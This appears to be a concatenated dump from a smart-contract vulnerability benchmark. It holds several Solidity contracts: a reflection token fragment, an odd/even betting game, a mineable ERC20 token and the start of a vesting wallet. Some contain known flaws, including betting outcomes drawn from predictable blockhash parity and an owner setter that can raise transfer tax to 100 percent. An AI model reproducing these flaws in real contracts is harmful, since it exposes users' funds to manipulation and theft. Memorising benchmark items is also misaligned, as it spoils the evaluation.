require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() public view returns(uint256) {
return _maxTxAmount;
}
function _setNodeManagment(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 100, 'taxFee should be in 0 - 100');
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee >= 0 && burnFee <= 100, 'burnFee should be in 0 - 100');
_burnFee = burnFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 0 , 'maxTxAmount should be greater than 0');
_maxTxAmount = maxTxAmount;
}
}
| 77,274 | 13,246 |
3c27a0516dd1f41f92448e91adbabc2844926e53b38bf1e30f866cb4ccd3d559
| 19,053 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb8c5952d4ec0407f0edf23480655bca641480623.sol
| 3,814 | 13,626 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
event LogNew(address indexed old, address indexed current);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) onlyOwner public {
emit LogNew(owner, _newOwner);
owner = _newOwner;
}
}
contract IMoneyManager {
function payTo(address _participant, uint256 _revenue) payable public returns(bool);
}
contract Game is Owned {
using SafeMath for uint256;
// The address of the owner
address public ownerWallet;
// The address of the activator
mapping(address => bool) internal activator;
// Constants
uint256 public constant BET = 10 finney; //0.01 ETH
uint8 public constant ODD = 1;
uint8 public constant EVEN = 2;
uint8 public constant noBets = 3;
uint256 public constant COMMISSION_PERCENTAGE = 10;
uint256 public constant END_DURATION_BETTING_BLOCK = 5520;
uint256 public constant TARGET_DURATION_BETTING_BLOCK = 5760;
uint256 public constant CONTRACT_VERSION = 201805311200;
// The address of the moneyManager
address public moneyManager;
// Array which stores the target blocks
uint256[] targetBlocks;
// Mappings
mapping(address => Participant) public participants;
mapping(uint256 => mapping(uint256 => uint256)) oddAndEvenBets; // Stores the msg.value for the block and the bet (odd or even)
mapping(uint256 => uint256) blockResult; // Stores if the blockhash's last char is odd or even
mapping(uint256 => bytes32) blockHash; // Stores the hash of block (block.number)
mapping(uint256 => uint256) blockRevenuePerTicket; // Stores the amount of the revenue per person for given block
mapping(uint256 => bool) isBlockRevenueCalculated; // Stores if the blocks revenue is calculated
mapping(uint256 => uint256) comissionsAtBlock; // Stores the commision amount for given block
// Public variables
uint256 public _startBetBlock;
uint256 public _endBetBlock;
uint256 public _targetBlock;
// Modifiers
modifier afterBlock(uint256 _blockNumber) {
require(block.number >= _blockNumber);
_;
}
modifier onlyActivator(address _activator) {
require(activator[_activator] == true);
_;
}
// Structures
struct Participant {
mapping(uint256 => Bet) bets;
bool isParticipated;
}
struct Bet {
uint256 ODDBets;
uint256 EVENBets;
bool isRevenuePaid;
}
constructor(address _moneyManager, address _ownerWallet) public {
setMoneyManager(_moneyManager);
setOwnerWallet(_ownerWallet);
}
function() payable public {
bet(getBlockHashOddOrEven(block.number - 128), msg.value.div(BET));
}
function activateCycle(uint256 _startBlock) public onlyActivator(msg.sender) returns (bool _success) {
if (_startBlock == 0) {
_startBlock = block.number;
}
require(block.number >= _endBetBlock);
_startBetBlock = _startBlock;
_endBetBlock = _startBetBlock.add(END_DURATION_BETTING_BLOCK);
_targetBlock = _startBetBlock.add(TARGET_DURATION_BETTING_BLOCK);
targetBlocks.push(_targetBlock);
return true;
}
// Events
event LogBet(address indexed participant, uint256 blockNumber, uint8 oddOrEven, uint256 betAmount);
event LogNewParticipant(address indexed _newParticipant);
function bet(uint8 oddOrEven, uint256 betsAmount) public payable returns (bool _success) {
require(betsAmount > 0);
uint256 participantBet = betsAmount.mul(BET);
require(msg.value == participantBet);
require(oddOrEven == ODD || oddOrEven == EVEN);
require(block.number <= _endBetBlock && block.number >= _startBetBlock);
// @dev - check if participant already betted
if (participants[msg.sender].isParticipated == false) {
// create new participant in memory
Participant memory newParticipant;
newParticipant.isParticipated = true;
//save the participant to state
participants[msg.sender] = newParticipant;
emit LogNewParticipant(msg.sender);
}
uint256 betTillNowODD = participants[msg.sender].bets[_targetBlock].ODDBets;
uint256 betTillNowEVEN = participants[msg.sender].bets[_targetBlock].EVENBets;
if(oddOrEven == ODD) {
betTillNowODD = betTillNowODD.add(participantBet);
} else {
betTillNowEVEN = betTillNowEVEN.add(participantBet);
}
Bet memory newBet = Bet({ODDBets : betTillNowODD, EVENBets: betTillNowEVEN, isRevenuePaid : false});
//save the bet
participants[msg.sender].bets[_targetBlock] = newBet;
// save the bet for the block
oddAndEvenBets[_targetBlock][oddOrEven] = oddAndEvenBets[_targetBlock][oddOrEven].add(msg.value);
address(moneyManager).transfer(msg.value);
emit LogBet(msg.sender, _targetBlock, oddOrEven, msg.value);
return true;
}
function calculateRevenueAtBlock(uint256 _blockNumber) public afterBlock(_blockNumber) {
require(isBlockRevenueCalculated[_blockNumber] == false);
if(oddAndEvenBets[_blockNumber][ODD] > 0 || oddAndEvenBets[_blockNumber][EVEN] > 0) {
blockResult[_blockNumber] = getBlockHashOddOrEven(_blockNumber);
require(blockResult[_blockNumber] == ODD || blockResult[_blockNumber] == EVEN);
if (blockResult[_blockNumber] == ODD) {
calculateRevenue(_blockNumber, ODD, EVEN);
} else if (blockResult[_blockNumber] == EVEN) {
calculateRevenue(_blockNumber, EVEN, ODD);
}
} else {
isBlockRevenueCalculated[_blockNumber] = true;
blockResult[_blockNumber] = noBets;
}
}
event LogOddOrEven(uint256 blockNumber, bytes32 blockHash, uint256 oddOrEven);
function getBlockHashOddOrEven(uint256 _blockNumber) internal returns (uint8 oddOrEven) {
blockHash[_blockNumber] = blockhash(_blockNumber);
uint256 result = uint256(blockHash[_blockNumber]);
uint256 lastChar = (result * 2 ** 252) / (2 ** 252);
uint256 _oddOrEven = lastChar % 2;
emit LogOddOrEven(_blockNumber, blockHash[_blockNumber], _oddOrEven);
if (_oddOrEven == 1) {
return ODD;
} else if (_oddOrEven == 0) {
return EVEN;
}
}
event LogRevenue(uint256 blockNumber, uint256 winner, uint256 revenue);
function calculateRevenue(uint256 _blockNumber, uint256 winner, uint256 loser) internal {
uint256 revenue = oddAndEvenBets[_blockNumber][loser];
if (oddAndEvenBets[_blockNumber][ODD] != 0 && oddAndEvenBets[_blockNumber][EVEN] != 0) {
uint256 comission = (revenue.div(100)).mul(COMMISSION_PERCENTAGE);
revenue = revenue.sub(comission);
comissionsAtBlock[_blockNumber] = comission;
IMoneyManager(moneyManager).payTo(ownerWallet, comission);
uint256 winners = oddAndEvenBets[_blockNumber][winner].div(BET);
blockRevenuePerTicket[_blockNumber] = revenue.div(winners);
}
isBlockRevenueCalculated[_blockNumber] = true;
emit LogRevenue(_blockNumber, winner, revenue);
}
event LogpayToRevenue(address indexed participant, uint256 blockNumber, bool revenuePaid);
function withdrawRevenue(uint256 _blockNumber) public returns (bool _success) {
require(participants[msg.sender].bets[_blockNumber].ODDBets > 0 || participants[msg.sender].bets[_blockNumber].EVENBets > 0);
require(participants[msg.sender].bets[_blockNumber].isRevenuePaid == false);
require(isBlockRevenueCalculated[_blockNumber] == true);
if (oddAndEvenBets[_blockNumber][ODD] == 0 || oddAndEvenBets[_blockNumber][EVEN] == 0) {
if(participants[msg.sender].bets[_blockNumber].ODDBets > 0) {
IMoneyManager(moneyManager).payTo(msg.sender, participants[msg.sender].bets[_blockNumber].ODDBets);
}else{
IMoneyManager(moneyManager).payTo(msg.sender, participants[msg.sender].bets[_blockNumber].EVENBets);
}
participants[msg.sender].bets[_blockNumber].isRevenuePaid = true;
emit LogpayToRevenue(msg.sender, _blockNumber, participants[msg.sender].bets[_blockNumber].isRevenuePaid);
return participants[msg.sender].bets[_blockNumber].isRevenuePaid;
}
// @dev - initial revenue to be paid
uint256 _revenue = 0;
uint256 counter = 0;
uint256 totalPayment = 0;
if (blockResult[_blockNumber] == ODD) {
counter = (participants[msg.sender].bets[_blockNumber].ODDBets).div(BET);
_revenue = _revenue.add(blockRevenuePerTicket[_blockNumber].mul(counter));
} else if (blockResult[_blockNumber] == EVEN) {
counter = (participants[msg.sender].bets[_blockNumber].EVENBets).div(BET);
_revenue = _revenue.add(blockRevenuePerTicket[_blockNumber].mul(counter));
}
totalPayment = _revenue.add(BET.mul(counter));
// pay the revenue
IMoneyManager(moneyManager).payTo(msg.sender, totalPayment);
participants[msg.sender].bets[_blockNumber].isRevenuePaid = true;
emit LogpayToRevenue(msg.sender, _blockNumber, participants[msg.sender].bets[_blockNumber].isRevenuePaid);
return participants[msg.sender].bets[_blockNumber].isRevenuePaid;
}
function setActivator(address _newActivator) onlyOwner public returns(bool) {
require(activator[_newActivator] == false);
activator[_newActivator] = true;
return activator[_newActivator];
}
function removeActivator(address _Activator) onlyOwner public returns(bool) {
require(activator[_Activator] == true);
activator[_Activator] = false;
return true;
}
function setOwnerWallet(address _newOwnerWallet) public onlyOwner {
emit LogNew(ownerWallet, _newOwnerWallet);
ownerWallet = _newOwnerWallet;
}
function setMoneyManager(address _moneyManager) public onlyOwner {
emit LogNew(moneyManager, _moneyManager);
moneyManager = _moneyManager;
}
function getActivator(address _isActivator) public view returns(bool) {
return activator[_isActivator];
}
function getblock() public view returns (uint256 _blockNumber){
return block.number;
}
function getCycleInfo() public view returns (uint256 startBetBlock, uint256 endBetBlock, uint256 targetBlock){
return (_startBetBlock,
_endBetBlock,
_targetBlock);
}
function getBlockHash(uint256 _blockNumber) public view returns (bytes32 _blockHash) {
return blockHash[_blockNumber];
}
function getBetAt(address _participant, uint256 _blockNumber) public view returns (uint256 _oddBets, uint256 _evenBets){
return (participants[_participant].bets[_blockNumber].ODDBets, participants[_participant].bets[_blockNumber].EVENBets);
}
function getBlockResult(uint256 _blockNumber) public view returns (uint256 _oddOrEven){
return blockResult[_blockNumber];
}
function getoddAndEvenBets(uint256 _blockNumber, uint256 _blockOddOrEven) public view returns (uint256 _weiAmountAtStage) {
return oddAndEvenBets[_blockNumber][_blockOddOrEven];
}
function getIsParticipate(address _participant, uint256 _blockNumber) public view returns (bool _isParticipate) {
return (participants[_participant].bets[_blockNumber].ODDBets > 0 || participants[_participant].bets[_blockNumber].EVENBets > 0);
}
function getblockRevenuePerTicket(uint256 _blockNumber) public view returns (uint256 _revenue) {
return blockRevenuePerTicket[_blockNumber];
}
function getIsBlockRevenueCalculated(uint256 _blockNumber) public view returns (bool _isCalculated) {
return isBlockRevenueCalculated[_blockNumber];
}
function getIsRevenuePaid(address _participant, uint256 _blockNumber) public view returns (bool _isPaid) {
return participants[_participant].bets[_blockNumber].isRevenuePaid;
}
function getBlockComission(uint256 _blockNumber) public view returns (uint256 _comission) {
return comissionsAtBlock[_blockNumber];
}
function getBetsEvenAndODD(uint256 _blockNumber) public view returns (uint256 _ODDBets, uint256 _EVENBets) {
return (oddAndEvenBets[_blockNumber][ODD], oddAndEvenBets[_blockNumber][EVEN]);
}
function getTargetBlockLength() public view returns (uint256 _targetBlockLenght) {
return targetBlocks.length;
}
function getTargetBlocks() public view returns (uint256[] _targetBlocks) {
return targetBlocks;
}
function getTargetBlock(uint256 _index) public view returns (uint256 _targetBlockNumber) {
return targetBlocks[_index];
}
}
| 189,510 | 13,247 |
d394df90e7f7bca7fc4c2d74ec7f6bc81e11e125f812a01466c7c23b65098fae
| 17,999 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x291de53a16b76dfe28551fd3335225f506db8b82.sol
| 3,733 | 17,166 |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
//
// Symbol : 0xGOLD
// Name : 0xGold Token
// Total supply : 5000000 (5 million)
// Decimals : 10
//
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// ----------------------------------------------------------------------------
// ERC-20 Token Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ERC918Interface {
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
function getChallengeNumber() public constant returns (bytes32);
function getMiningDifficulty() public constant returns (uint);
function getMiningTarget() public constant returns (uint);
function getMiningReward() public constant returns (uint);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
bytes32 public challengeNumber;
}
// ----------------------------------------------------------------------------
// ERC-20 Token
// ----------------------------------------------------------------------------
contract _0xGoldToken is ERC20Interface, Owned, ERC918Interface {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount; //number of 'blocks' mined
uint public _BLOCKS_PER_READJUSTMENT = 100;
//a little number and a big number
uint public _MINIMUM_TARGET = 2**16;
uint public _MAXIMUM_TARGET = 2**234;
address public parentAddress; // for merge mining
uint public miningTarget;
bytes32 public challengeNumber; //generate a new one when a new reward is minted
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
bool locked = false;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function _0xGoldToken() public onlyOwner{
symbol = "0xGOLD";
name = "0xGold Token";
decimals = 10;
_totalSupply = 5000000 * 10**uint(decimals);
if(locked) revert();
locked = true;
tokensMinted = 500000000000000; // 50,000
rewardEra = 0;
maxSupplyForEra = _totalSupply.div(2);
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
parentAddress = 0xB6eD7644C69416d67B522e20bC294A9a9B405B31; // for merge mining
balances[owner] = tokensMinted;
Transfer(address(0), owner, tokensMinted);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce);
//the challenge digest must match the expected
if (digest != challenge_digest) revert();
//the digest must be smaller than the target
if(uint256(digest) > miningTarget) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert(); //prevent the same answer from awarding twice
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
//Cannot mint more tokens than there are
assert(tokensMinted <= maxSupplyForEra);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
Mint(msg.sender, reward_amount, epochCount, challengeNumber);
return true;
}
//a new 'block' to be mined
function _startNewMiningEpoch() internal {
//2 is the final reward era, almost all tokens minted
//once the final era is reached, more tokens will not be given out because the assert function
if(tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 2)
{
rewardEra = rewardEra + 1;
}
//set the next minted supply at which the era will change
// total supply is 50000000000000000 because of 10 decimal places
maxSupplyForEra = _totalSupply - _totalSupply.div(2**(rewardEra + 1));
epochCount = epochCount.add(1);
//every so often, readjust difficulty. Dont readjust when deploying
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
//do this last since this is a protection mechanism in the mint() function
challengeNumber = block.blockhash(block.number - 1);
}
//readjust the target by 5 percent
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
//assume 240 ethereum blocks per hour
//we want miners to spend 7 minutes to mine each 'block', about 28 ethereum blocks = one 0xGOLD epoch
uint epochsMined = _BLOCKS_PER_READJUSTMENT; //256
uint targetEthBlocksPerDiffPeriod = epochsMined * 28; //should be 28 times slower than ethereum
//if there were less eth blocks passed in time than expected
if(ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod)
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div(ethBlocksSinceLastDifficultyPeriod);
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
//make it harder
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 %
}else{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div(targetEthBlocksPerDiffPeriod);
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000
//make it easier
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET) //very difficult
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET) //very easy
{
miningTarget = _MAXIMUM_TARGET;
}
}
//this is a recent ethereum block hash, used to prevent pre-mining future blocks
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
//the number of zeroes the digest of the PoW solution requires. Auto adjusts
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
//reward is cut in half every reward era (as tokens are mined)
function getMiningReward() public constant returns (uint) {
//every reward era, the reward amount halves.
return (16 * 10**uint(decimals)).div(2**rewardEra) ;
}
//help debug mining software
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
//help debug mining software
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Merge Mining
// ------------------------------------------------------------------------
function merge() public returns (bool success) {
bytes32 future_challengeNumber = block.blockhash(block.number - 1);
if(challengeNumber == future_challengeNumber){
return false;
}
//verify Parent::lastRewardTo == msg.sender;
if(ERC918Interface(parentAddress).lastRewardTo() != msg.sender){
return false; // a different address called mint last so return false (don't revert)
}
//verify Parent::lastRewardEthBlockNumber == block.number;
if(ERC918Interface(parentAddress).lastRewardEthBlockNumber() != block.number){
return false; // parent::mint() was called in a different block number so return false (don't revert)
}
bytes32 parentChallengeNumber = ERC918Interface(parentAddress).challengeNumber();
bytes32 solution = solutionForChallenge[parentChallengeNumber];
if(solution != 0x0) return false; //prevent the same answer from awarding twice
bytes32 digest = 'merge';
solutionForChallenge[parentChallengeNumber] = digest;
//so now we may safely run the relevant logic to give an award to the sender, and update the contract
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
//Cannot mint more tokens than there are
assert(tokensMinted <= maxSupplyForEra);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
Mint(msg.sender, reward_amount, epochCount, 0); // use 0 to indicate a merge mine
return true;
}
}
| 198,537 | 13,248 |
8b28ceb3380e7023e6dfce65e66bf700c944e3a1ca05f53ad6cf6802287e94b6
| 32,382 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
ozopenzeppelin-contracts/finance/VestingWallet_flat.sol
| 4,380 | 17,146 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (finance/VestingWallet.sol)
pragma solidity ^0.8.0;
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/utils/SafeERC20.sol)
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
